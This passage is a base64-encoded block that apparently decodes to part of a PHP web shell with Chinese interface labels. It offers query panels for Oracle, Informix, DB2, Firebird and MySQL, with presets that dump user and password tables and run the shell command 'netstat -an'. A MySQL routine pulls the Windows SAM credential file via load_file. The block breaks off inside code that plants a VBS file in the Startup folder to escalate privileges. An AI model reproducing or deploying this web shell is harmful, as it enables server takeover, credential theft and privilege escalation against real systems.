ZWxlY3RlZEluZGV4XS52YWx1ZSkiPg0KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPta00NDD/MHuPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMSI+z9TKvrDmsb48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNCI+19a2zjwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJteXF1ZXJ5Ij4NCjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlF1ZXJ5Ij48L2Rpdj48L2Zvcm0+DQpFTkQ7DQoJCQkJaWYoJG9yYWFjdGlvbiA9PSAnb3JhcXVlcnknKXsNCgkJCQkJJG9yYWxpbms9T0NJTG9nb24oJG9yYXVzZXIsJG9yYXBhc3MsIihERXNjcmlwdElPTj0oQUREUkVTUz0oUFJPVE9DT0wgPVRDUCkoSE9TVD0kb3JhaG9zdCkoUE9SVCA9ICRvcmFwb3J0KSkoQ09OTkVDVF9EQVRBID0oU0lEPSRvcmFzaWQpKSkiKSBvciBkaWUob2NpZXJyb3IoKSk7DQoJCQkJCSRvcmFyZXN1bHQ9b2NpcGFyc2UoJG9yYWxpbmssJG9yYXF1ZXJ5KSBvciBkaWUob2NpZXJyb3IoKSk7DQoJCQkJCSRvcmFyb3c9b2NpX2ZldGNoX3Jvdygkb3JhcmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8b2NpX251bV9maWVsZHMoJG9yYXJlc3VsdCk7ICRpKyspDQoJCQkJCXtlY2hvICc8dGQ+PGI+Jy5vY2lfZmllbGRfbmFtZSgkb3JhcmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlvY2lyZXN1bHQoJG9yYXJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkb3Jhcm93PW9yYV9mZXRjaF9yb3coJG9yYXJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPG9yYV9udW1fZmllbGRzKCRyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJG9yYXJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJb2NpX2ZyZWVfc3RhdGVtZW50KCRvcmFyZXN1bHQpOw0KCQkJCQlvY2lsb2dvZmYoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYgKCRkYiA9PSAiaWZ4Iil7DQoJCQkJJGlmeHVzZXIgPSBpc3NldCgkX1BPU1RbJ2lmeHVzZXInXSkgPyAkX1BPU1RbJ2lmeHVzZXInXSA6ICdyb290JzsNCgkJCQkkaWZ4cGFzcyA9IGlzc2V0KCRfUE9TVFsnaWZ4cGFzcyddKSA/ICRfUE9TVFsnaWZ4cGFzcyddIDogJzEyMzQ1Nic7DQoJCQkJJGlmeGRibmFtZSA9IGlzc2V0KCRfUE9TVFsnaWZ4ZGJuYW1lJ10pID8gJF9QT1NUWydpZnhkYm5hbWUnXSA6ICdpZnhkYic7DQoJCQkJJGlmeGFjdGlvbiA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICcnOw0KCQkJCSRpZnhxdWVyeSA9IGlzc2V0KCRfUE9TVFsnaWZ4c3FsJ10pID8gJF9QT1NUWydpZnhzcWwnXSA6ICcnOw0KCQkJCSRpZnhxdWVyeSA9IHN0cmlwc2xhc2hlcygkaWZ4cXVlcnkpOw0KCQkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImlmeGZvcm0iIGFjdGlvbj0iP3M9Z2cmZGI9aWZ4Ij4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+RGJuYW1lOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZnhob3N0IiB2YWx1ZT0ieyRpZnhkYm5hbWV9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KVXNlcjo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaWZ4dXNlciIgdmFsdWU9InskaWZ4dXNlcn0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZnhwYXNzIiB2YWx1ZT0ieyRpZnhwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij48YnI+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGlmeEZ1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoMTEpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3QgZGJzZXJ2ZXJuYW1lIGZyb20gc3lzb2JqZWN0czsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2RhdGFiYXNlczsiOw0KCVN0clszXSA9ICJzZWxlY3QgdGFibmFtZSBmcm9tIHN5c3RhYmxlczsiOw0KCVN0cls0XSA9ICJzZWxlY3QgY29sbmFtZSBmcm9tIHN5c2NvbHVtbnMgd2hlcmUgdGFiaWQ9bjsiOw0KCVN0cls1XSA9ICJzZWxlY3QgdXNlcm5hbWUsdXNlcnR5cGUscGFzc3dvcmQgZnJvbSBzeXN1c2VyczsiOw0KCWlmeGZvcm0uaWZ4c3FsLnZhbHVlID0gU3RyW2ldOw0KCXJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8dGV4dGFyZWEgbmFtZT0iaWZ4c3FsIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRpZnhxdWVyeX08L3RleHRhcmVhPjxicj4NCjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBpZnhGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7WtNDQw/zB7jwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPsr9vt2/4rf+zvHG98P7s8Y8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMyI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjQiPmhhc2hlczwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJpZnhxdWVyeSI+DQo8aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSI+PC9kaXY+PC9mb3JtPg0KRU5EOw0KCQkJCWlmKCRpZnhhY3Rpb24gPT0gJ2lmeHF1ZXJ5Jyl7DQoJCQkJCSRpZnhsaW5rID0gaWZ4X2Nvbm5lY3QoJGlmY2RibmFtZSwgJGlmeHVzZXIsICRpZnhwYXNzKSBvciBkaWUoaWZ4X2Vycm9ybXNnKCkpOw0KCQkJCQkkaWZ4cmVzdWx0ID0gaWZ4X3F1ZXJ5KCRpZnhxdWVyeSwkaWZ4bGluaykgb3IgZGllIChpZnhfZXJyb3Jtc2coKSk7DQoJCQkJCSRpZnhyb3c9aWZ4X2ZldGNoX3JvdygkaWZ4cmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvcigkaT0wOyAkaTxpZnhfbnVtX2ZpZWxkcygkaWZ4cmVzdWx0KTsgJGkrKykNCgkJCQkJe2VjaG8gJzx0ZD48Yj4nLmlmeF9maWVsZHByb3BlcnRpZXMoJGlmeHJlc3VsdCkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlteXNxbF9kYXRhX3NlZWsoJGlmeHJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkaWZ4cm93PWlmeF9mZXRjaF9yb3coJGlmeHJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGlmeF9udW1fZmllbGRzKCRpZnhyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJGlmeHJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJaWZ4X2ZyZWVfcmVzdWx0KCRpZnhyZXN1bHQpOw0KCQkJCQlpZnhfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYgKCRkYj09ImRiMiIpew0KCQkJCSRkYjJob3N0ID0gaXNzZXQoJF9QT1NUWydkYjJob3N0J10pID8gJF9QT1NUWydkYjJob3N0J10gOiAnbG9jYWxob3N0JzsNCgkJCQkkZGIycG9ydCA9IGlzc2V0KCRfUE9TVFsnZGIycG9ydCddKSA/ICRfUE9TVFsnZGIycG9ydCddIDogJzUwMDAwJzsNCgkJCQkkZGIydXNlciA9IGlzc2V0KCRfUE9TVFsnZGIydXNlciddKSA/ICRfUE9TVFsnZGIydXNlciddIDogJ3Jvb3QnOw0KCQkJCSRkYjJwYXNzID0gaXNzZXQoJF9QT1NUWydkYjJwYXNzJ10pID8gJF9QT1NUWydkYjJwYXNzJ10gOiAnMTIzNDU2JzsNCgkJCQkkZGIyZGJuYW1lID0gaXNzZXQoJF9QT1NUWydkYjJkYm5hbWUnXSkgPyAkX1BPU1RbJ2RiMmRibmFtZSddIDogJ215c3FsJzsNCgkJCQkkZGIyYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJGRiMnF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydkYjJzcWwnXSkgPyAkX1BPU1RbJ2RiMnNxbCddIDogJyc7DQoJCQkJJGRiMnF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRkYjJxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZGIyZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1kYjIiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj5Ib3N0OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJob3N0IiB2YWx1ZT0ieyRkYjJob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBvcnQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiMnBvcnQiIHZhbHVlPSJ7JGRiMnBvcnR9IiBzdHlsZT0id2lkdGg6NjBweCI+DQpVc2VyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJ1c2VyIiB2YWx1ZT0ieyRkYjJ1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhc3M6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiMnBhc3MiIHZhbHVlPSJ7JGRiMnBhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KRGJuYW1lOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJkYm5hbWUiIHZhbHVlPSJ7JGRiMmRibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBkYjJGdWxsKGkpew0KU3RyID0gbmV3IEFycmF5KDQpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3Qgc2NoZW1hbmFtZSBmcm9tIHN5c2NhdC5zY2hlbWF0YTsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2libS5zeXN0YWJsZXM7IjsNCglTdHJbM10gPSAic2VsZWN0IGNvbG5hbWUgZnJvbSBzeXNjYXQuY29sdW1ucyB3aGVyZSB0YWJuYW1lPSd0YWJsZV9uYW1lJzsiOw0KCVN0cls0XSA9ICJkYjIgZ2V0IGRiIGNmZyBmb3IgZGJfbmFtZTsiOw0KZGIyZm9ybS5kYjJzcWwudmFsdWUgPSBTdHJbaV07DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvc2NyaXB0Pg0KPHRleHRhcmVhIG5hbWU9ImRiMnNxbCIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDoyMDBweDsiPnskZGIycXVlcnl9PC90ZXh0YXJlYT48YnI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZGIyRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+DQoJPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+1rTQ0MP8we48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMiI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjMiPsr9vt2/4sXk1sM8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGIycXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCQlpZiAoJG15YWN0aW9uID09ICdkYjJxdWVyeScpew0KCQkJCQkkZGIybGluayA9IGRiMl9jb25uZWN0KCRkYjJkYm5hbWUsICRkYjJ1c2VyLCAkZGIycGFzcykgb3IgZGllKGRiMl9jb25uX2Vycm9ybXNnKCkpOw0KCQkJCQkkZGIycmVzdWx0ID0gZGIyX2V4ZWMoJGRiMmxpbmssJGRiMnF1ZXJ5KSBvciBkaWUoZGIyX3N0bXRfZXJyb3Jtc2coKSk7DQoJCQkJCSRkYjJyb3c9ZGIyX2ZldGNoX3JvdygkZGIycmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8ZGIyX251bV9maWVsZHMoJGRiMnJlc3VsdCk7ICRpKyspDQoJCQkJCXtlY2hvICc8dGQ+PGI+Jy5kYjJfZmllbGRfbmFtZSgkZGIycmVzdWx0KS4iPC9iPjwvdGQ+XG4iO30NCgkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCXdoaWxlICgkZGIycm93PWRiMl9mZXRjaF9yb3coJGRiMnJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGRiMl9udW1fZmllbGRzKCRkYjJyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJGRiMnJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJZGIyX2ZyZWVfcmVzdWx0KCRkYjJyZXN1bHQpOw0KCQkJCQlkYjJfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYoJGRiID09ICJmYiIpIHsNCgkJCQkkZmJob3N0ID0gaXNzZXQoJF9QT1NUWydmYmhvc3QnXSkgPyAkX1BPU1RbJ2ZiaG9zdCddIDogJ2xvY2FsaG9zdCc7DQoJCQkJJGZicGF0aCA9IGlzc2V0KCRfUE9TVFsnZmJwYXRoJ10pID8gJF9QT1NUWydmYnBhdGgnXSA6ICcnOw0KCQkJCSRmYnBhdGggPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICRmYnBhdGgpOw0KCQkJCSRmYnVzZXIgPSBpc3NldCgkX1BPU1RbJ2ZidXNlciddKSA/ICRfUE9TVFsnZmJ1c2VyJ10gOiAnc3lzZGJhJzsNCgkJCQkkZmJwYXNzID0gaXNzZXQoJF9QT1NUWydmYnBhc3MnXSkgPyAkX1BPU1RbJ2ZicGFzcyddIDogJ21hc3RlcmtleSc7DQoJCQkJJGZiYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJGZicXVlcnkgPSBpc3NldCgkX1BPU1RbJ2Zic3FsJ10pID8gJF9QT1NUWydmYnNxbCddIDogJyc7DQoJCQkJJGZicXVlcnkgPSBzdHJpcHNsYXNoZXMoJGZicXVlcnkpOw0KCQkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImZiZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1mYiI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPkhvc3Q6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZiaG9zdCIgdmFsdWU9InskZmJob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhdGg6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZicGF0aCIgdmFsdWU9InskZmJwYXRofSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClVzZXI6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZidXNlciIgdmFsdWU9InskZmJ1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhc3M6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZicGFzcyIgdmFsdWU9InskZmJwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij48YnIvPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBmYkZ1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoNSk7DQoJU3RyWzBdID0gIiI7DQoJU3RyWzFdID0gInNlbGVjdCBSREJcJFJFTEFUSU9OX05BTUUgZnJvbSBSREJcJFJFTEFUSU9OUzsiOw0KCVN0clsyXSA9ICJzZWxlY3QgUkRCXCRGSUVMRF9OQU1FIGZyb20gUkRCXCRSRUxBVElPTl9GSUVMRFMgd2hlcmUgUkRCXCRSRUxBVElPTl9OQU1FPSd0YWJsZV9uYW1lJzsiOw0KCVN0clszXSA9ICJpbnB1dCAnRDpcXGNyZWF0ZXRhYmxlLnNxbCc7IjsNCglTdHJbNF0gPSAic2hlbGwgbmV0c3RhdCAtYW47IjsNCmZiZm9ybS5mYnNxbC52YWx1ZSA9IFN0cltpXTsNCnJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8dGV4dGFyZWEgbmFtZT0iZmJzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JGZicXVlcnl9PC90ZXh0YXJlYT48YnI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZmJGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7WtNDQw/zB7jwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPrHtts48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7X1rbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMyI+zO2803NxbDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjQiPnNoZWxsPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImZicXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCQlpZigkZmJhY3Rpb24gPT0gJ2ZicXVlcnknKXsNCgkJCQkJJGZibGluayA9IGliYXNlX2Nvbm5lY3QoJGZiaG9zdC4nOicuJGZicGF0aCwkZmJ1c2VyLCRmYnBhc3MpIG9yIGRpZShpYmFzZV9lcnJtc2coKSk7DQoJCQkJCSRmYnJlc3VsdCA9IGliYXNlX3F1ZXJ5KCRmYmxpbmssJGZicXVlcnkpIG9yIGRpZShpYmFzZV9lcnJtc2coKSk7DQoJCQkJCWVjaG8gJzxmb250IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMiI+Jy4iXG48dHI+XG4iOw0KCQkJCQlmb3IgKCRpPTA7ICRpPGliYXNlX251bV9maWVsZHMoJGZicmVzdWx0KTsgJGkrKykNCgkJCQkJe2VjaG8gJzx0ZD48Yj4nLmliYXNlX2ZpZWxkX2luZm8oJGZicmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlpYmFzZV9maWVsZF9pbmZvKCRmYnJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkZmJyb3c9aWJhc2VfZmV0Y2hfcm93KCRmYnJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGliYXNlX251bV9maWVsZHMoJGZicmVzdWx0KTsgJGkrKyApDQoJCQkJCQl7ZWNobyAnPHRkPicuIiRmYnJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJaWJhc2VfZnJlZV9yZXN1bHQoJGZicmVzdWx0KTsNCgkJCQkJaWJhc2VfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJLy9NeVNxbNa00NANCgkJZnVuY3Rpb24gTXlzcWxfbigpDQoJCXsNCgkJCSRNU0dfQk9YID0gJyc7DQoJCQkkbWhvc3QgPSAnbG9jYWxob3N0JzsgJG11c2VyID0gJ3Jvb3QnOyAkbXBvcnQgPSAnMzMwNic7ICRtcGFzcyA9ICcnOyAkbWRhdGEgPSAnbXlzcWwnOyAkbXNxbCA9ICdzZWxlY3QgdmVyc2lvbigpOyc7DQoJCQlpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpDQoJCQl7DQoJCQkJJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOyAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107ICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsgJG1kYXRhID0gJF9QT1NUWydtZGF0YSddOyAkbXBvcnQgPSAkX1BPU1RbJ21wb3J0J107DQoJCQkJaWYoJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpKSBAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7DQoJCQkJZWxzZSAkTVNHX0JPWCA9ICfBrL3TTVlTUUzKp7DcJzsNCgkJCX0NCgkJCSRkb3duZmlsZSA9ICdjOi93aW5kb3dzL3JlcGFpci9zYW0nOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnZG93bmZpbGUnXSkpDQoJCQl7DQoJCQkJJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsNCgkJCQkkYmlucGF0aCA9IGJpbjJoZXgoJGRvd25maWxlKTsNCgkJCQkkcXVlcnkgPSAnc2VsZWN0IGxvYWRfZmlsZSgweCcuJGJpbnBhdGguJyknOw0KCQkJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQl7DQoJCQkJCSRrID0gMDsgJGRvd25jb2RlID0gJyc7DQoJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRkb3duY29kZSAuPSAkcm93WyRrXTskaysrO30NCgkJCQkJJGZpbGVkb3duID0gYmFzZW5hbWUoJGRvd25maWxlKTsNCgkJCQkJaWYoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ3NpbGljLnRtcCc7DQoJCQkJCSRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOw0KCQkJCQkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kYXJyYXllbmQpOw0KCQkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVkb3duKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5zdHJsZW4oJGRvd25jb2RlKSk7DQoJCQkJCWVjaG8gJGRvd25jb2RlOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllbHNlICRNU0dfQk9YID0gJ8/C1NjOxLz+yqew3Cc7DQoJCQl9DQoJCQkkbyA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICcnOw0KCQkJUm9vdF9DU1MoKTsNCgkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im5mb3JtIiBpZD0ibmZvcm0iIGFjdGlvbj0iP3M9biZvPXskb30iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KPGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPW4iPltNWVNRTNa00NDT777kXTwvYT4NCjxhIGhyZWY9Ij9zPW4mbz10cSI+W01ZU1FMzOHIqF08L2E+DQo8YSBocmVmPSI/cz1uJm89dGsiPltNWVNRTM3Rv+KxuLfdXTwvYT4NCjxhIGhyZWY9Ij9zPW4mbz11Ij5bTVlTUUzJz7SrzsS8/l08L2E+DQo8YSBocmVmPSI/cz1uJm89ZCI+W01ZU1FMz8LU2M7EvP5dPC9hPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjIwcHg7Ij4NCkVORDsNCgkJCWlmKCRvPT0ndScpDQoJCQl7DQoJCQkJJHVwcGF0aCA9ICdDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavL2V4cC52YnMnOw0KCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3VwcGF0aCddKSkNCgkJCQl7DQoJCQkJCSR1cHBhdGggPSAkX1BPU1RbJ3VwcGF0aCddOw0KCQkJCQkkcXVlcnkgPSAnQ3JlYXRlIFRBQkxFIGEgKGNtZCB0ZXh0IE5PVCBOVUxMKTsnOw0KCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQkJew0KCQkJCQkJaWYoJHRtcGNvZGUgPSBGaWxlX1JlYW